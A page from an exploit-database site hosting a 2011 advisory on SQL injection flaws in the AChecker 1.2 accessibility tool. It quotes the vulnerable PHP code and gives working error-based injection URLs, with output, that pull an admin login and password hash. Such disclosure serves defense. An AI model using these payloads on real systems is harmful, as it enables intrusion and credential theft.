0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
AChecker 1.2 Multiple Error-Based SQL Injection vulnerabilities
[Vendor: ATutor (Inclusive Design Institute)
Product web page: http://www.atutor.ca
Affected version: 1.2 (build r530)
Summary: AChecker is an open source Web accessibility evaluation tool.
It can be used to review the accessibility of Web pages based on a variety
international accessibility guidelines.
Desc: Input passed via the parameter 'myown_patch_id' in '/updater/patch_edit.php'
and the parameter 'id' in '/user/user_create_edit.php' script is not properly
sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.
==========================================================================
/updater/patch_edit.php:
------------------------------
20: if (!isset($_REQUEST["myown_patch_id"]))
21: {
22: $msg->addError('NO_ITEM_SELECTED');
23: exit;
24: }
25:
26: $myown_patch_id = $_REQUEST["myown_patch_id"];
27:
28: $myownPatchesDAO = new MyownPatchesDAO();
29: $myownPatchesDependentDAO = new MyownPatchesDependentDAO();
30: $myownPatchesFilesDAO = new MyownPatchesFilesDAO();
31:
32: // URL called by form action
33: $savant->assign('url', dirname($_SERVER['PHP_SELF']) . "/patch_creator.php?myown_patch_id=" . $myown_patch_id);
34:
35: $savant->assign('patch_row', $myownPatchesDAO->getByID($myown_patch_id));
36: $savant->assign('dependent_rows', $myownPatchesDependentDAO->getByPatchID($myown_patch_id));
37: $savant->assign('file_rows', $myownPatchesFilesDAO->getByPatchID($myown_patch_id));
------------------------------------------------------------------------
/user/user_create_edit.php:
------------------------------
103: if (isset($_GET['id'])) // edit existing user
104: {
105: $usersDAO = new UsersDAO();
106: $savant->assign('user_row', $usersDAO->getUserByID($_GET['id']));
107: $savant->assign('show_password', false);
108:
109: }
==========================================================================
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Advisory ID: ZSL-2011-5034
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5034.php
01.08.2011
--
PoC:
- http://localhost/updater/patch_edit.php?myown_patch_id=1 and(select 1 from(select count(*),concat((select (select login) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)
+ Output:
Duplicate entry 'admin1' for key 'group_key'
-==========================-
- http://localhost/user/user_create_edit.php?id=78 and(select 1 from(select count(*),concat((select (select password) from `ac_users` limit 1,1),floor(rand(0)*2))x from `information_schema`.tables group by 2)j)
+ Ouput:
Duplicate entry 'd033e22ae348aeb5660fc2140aec35850c4da9971' for key 'group_key'
# 0day.today [2024-10-05] #